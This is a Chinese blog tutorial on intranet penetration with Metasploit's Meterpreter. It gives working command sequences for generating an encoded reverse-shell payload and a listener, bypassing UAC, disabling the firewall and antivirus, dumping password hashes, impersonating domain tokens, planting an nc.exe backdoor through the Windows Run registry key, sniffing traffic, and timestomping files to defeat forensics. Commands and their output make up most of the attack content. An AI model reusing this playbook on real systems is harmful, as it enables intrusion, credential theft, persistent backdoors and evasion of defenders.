zoukankan      html  css  js  c++  java
  • 内网渗透之如何玩转Meterpreter?(nc.exe)

    十、Meterpreter常用命令 
    1、基本命令(包含meterpreter和msf终端、ruby接口、目标shell交互的命令) 
    background(进程隐藏至后台) 
    sessions(查看已经成功获取的会话,-i 恢复会话) 
    quit(关闭当前会话) 
    shell (获取系统控制台shell,如果目标系统命令行可执行程序不存在或禁止访问, 则shell命令会出错) 
    irb(与Ruby终端交互,调用metasploit封装好的函数;在irb中还可以添加metasploit附加组件railgun,直接与windows本地API进行交互) 
    2、文件系统命令(与目标文件系统交互,包括查看、上传下载、搜索、编辑) 
    cat(目标系统文件交互) 
    getwd(获取目标机当前工作目录,getlwd本地当前工作工作目录) 
    upload(上传文件或文件夹到目标机 -r 递归) 
    download(从目标机下载文件或文件夹 -r 递归) 
    edit(调用vi编辑器,对目标上的文件进行编辑) 
    search(对目标机的文件进行搜索) 
    3、网络命令(查看目标网络状况、连接信息,进行端口转发等) 
    ipconfig(获取目标主机上的网络接口信息) 
    portfwd(端口转发:将目标主机开放但不允许访问的端口进行转发) 
    route(显示目标主机路由信息) 
    4、系统命令(查看目标系统信息、对系统进行基本操作等) 
    ps(查看目标机正在运行的进程信息) 
    migrate(将meterpreter会话进程迁移到另一个进程内存空间) 
    execute(在目标机上执行文件) 
    getpid(当前会话所在进程的pid值) 
    kill(终结指定的pid程序) 
    getuid(获取当前会话用户名) 
    sysinfo(获取系统信息) 
    shutdown(关闭目标主机) 
    5、用户接口命令 
    screenshot(截获被控主机当前桌面)

    =================================================

    随着windows系统的不断更新完善,windows对用户系统的安全力度也在加强。这对我们的渗透,也带来了不少的麻烦。今天我将带大家,利用目前流行的 metasploit 框架,绕过一些 UAC 及防火墙的限制,从而达到成功利用的目的!

    由于绕过 UAC 的功能需在 meterpreter 的shell 才能实现。因此,我们首先要做的就是取得目标机器的 meterpreter shell 。

    生成一个 payload :

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.15.131 lport=4444 -f exe -o /root/virus.exe -e x86/shikata_ga_nai -i 8

    20161006093606

    将以上生成的 payload 发送给目标机器并让其执行!

    接着,我们在 kali 上配置一个反弹会话处理程序:

    use exploit/multi/handler

    set payload windows/meterpreter/reverse_tcp

    set LHOST 192.168.15.131

    set LPORT 4444

    exploit

    20161006092923

    这里再介绍一种,生成反弹 shell 的方式。就是直接以 raw 的形式保存成文件只要目标进行了访问,就会反弹回 shell 。具体生成命令如下:

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.15.131 LPORT=4444 -f raw -o x.php

    当目标机器成功执行payload后我们就取得了一个 meterpreter shell 。

    20161006094048

    我们尝试直接利用 getuid 和 getsystem 命令来提权:

    20161006100046

    从以上结果我们基本可以判定遭到了 UAC 的用户访问控制的拦截!既然这样,那么我们来利用 meterpreter 的强大功能来进行绕过!

    use exploit/windows/local/ask

    show options

    set session 1

    exploit

    20161006104840

    当我们成功执行以上命令后,我们会在目标系统上弹出一个确认框只要点击确认即可成功绕过!现在我们再来通过 getuid 和 getsystem 命令来查看当前我们的 shell 权限:

    20161006105606

    现在我们来通过其 shell 来关闭防火墙:

    shell

    netsh adcfirewall set allprofiles state off

    20161006112128

    我们打开防火墙配置查看防火墙已成功被我们关闭!

    20161006113355

    但是我们可以看出,如果目标管理员查看防火墙配置,发现防火墙被人为关闭,那么必定引起管理员的警惕!因此,我们还可以通过策略的添加,来隐蔽我们的行为。

    netsh firewall add portopening TCP 444 “VMWARE” ENABLE ALL

    伪装成一个系统正常的进程,之后远程重启目标系统,并利用 NC 连接即可!

    run getgui -u xxxxx -p xxxxx   添加用户

    run post/windows/gather/hashdump   获取加密的用户名和密码

    开启3389远程桌面:

    run post/windows/manage/enable_rdp     此命令可以帮我们一建开启远程桌面,并帮我们关闭防火墙

    20161006114052

    还可以使用 run getgui -e 来开启远程桌面:

    20161006121512

    利用该命令,我们还可以在目标机器上添加用户:

    run getgui -u xxxxx -p xxxxx

    我们还可以尝试关闭目标机器上的杀毒软件:

    run killav

    20161006114433

    对目标系统桌面进行实时截图:

    screenshot

    use espia

    20161006122300

    窃取及伪造域账户 token :

    load incognito

    list_tokens -u

    impersonate_token xxxxx\xxxxxxx

    execute -f cmd.exe -i -t

    20161006131139

    利用注册表添加 NC 后门:

    上传 NC 到目标系统:

    upload /usr/share/windows-binaries/nc.exe C:\windows\system32

    枚举注册表内容(开机启动)

    reg enumkey -k HKLM\software\microsoft\windows\currentversion\run

    在该注册表增加内容(开机启动)

    reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d “C:windowssystem32 c.exe -Ldp 444 -e cmd.exe”

    ----

    meterpreter > reg setval -k HKLM\software\microsoft\windows\currentversion\run -v fuck -d C:\windows\system32\nc.exe" -Ldp 222 -e cmd.exe"
    Successful set fuck.
    meterpreter > reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v fuck
    Key: HKLMsoftwaremicrosoftwindowscurrentversionRun

    查看内容是否增加成功:

    reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v nc

    nc连接

    >nc 192.168.192.129 222.
    Microsoft Windows XP [�汾 5.1.2600]
    (C) ��Ȩ���� 1985-2001 Microsoft Corp.

    C:Documents and SettingsAdministrator>ls
    ls
    'ls' �����ڲ����ⲿ���Ҳ���ǿ����еij���
    ���������ļ���

    C:Documents and SettingsAdministrator>dir
    dir
    ������ C �еľ��� WinXp
    ��������� 0000-2C28

     也可以通过nc.exe再次连接到meterperter

    nc 192.168.192.129 222

    c:>cd windows

    c:windows>start fif.exe 

    查看metepreter又连接到了。

    -----------------------------------

    20161006141320

    对目标网络实施嗅探抓包:

    加载 sniffer 插件:

    load sniffer

    20161006150557对指定网卡进行抓包嗅探:

    sniffer_start 9

    20161006150635

    将抓取的包保存为cap文件:

    sniffer_dump 9 1.cap

    20161006150651

    对抓取的包进行解包:

    use auxiliary/sniffer/psnuffle

    set pcapfile 1.cap

    run

    20161006153844

    获取目标系统上的 hash 值:

    use post/windows/gather/hashdump

    set session 4

    run

    20161006155822

    基于MACE时间的反电子取证:

    timestomp -v secist.txt

    查看当前目标文件 MACE 时间。

    20161006172320

    timestomp -f c:\AVScanner.ini secist.txt (将模板文件MACE时间,复制给当前文件)

    timestomp -v secist.txt

    20161006172248

  • 相关阅读:
    SpringBoot之旅第三篇-日志
    SpringBoot之旅第二篇-配置
    SpringBoot之旅第一篇-初探
    394. 字符串解码
    1190. 反转每对括号间的子串
    921. 使括号有效的最少添加
    Leetcode 1171. 从链表中删去总和值为零的连续节点
    设计模式之过滤器模式——Java语言描述
    MySQL查询执行的基础
    设计模式之桥接模式——Java语言描述
  • 原文地址:https://www.cnblogs.com/jjj-fly/p/8150660.html
Copyright © 2011-2022 走看看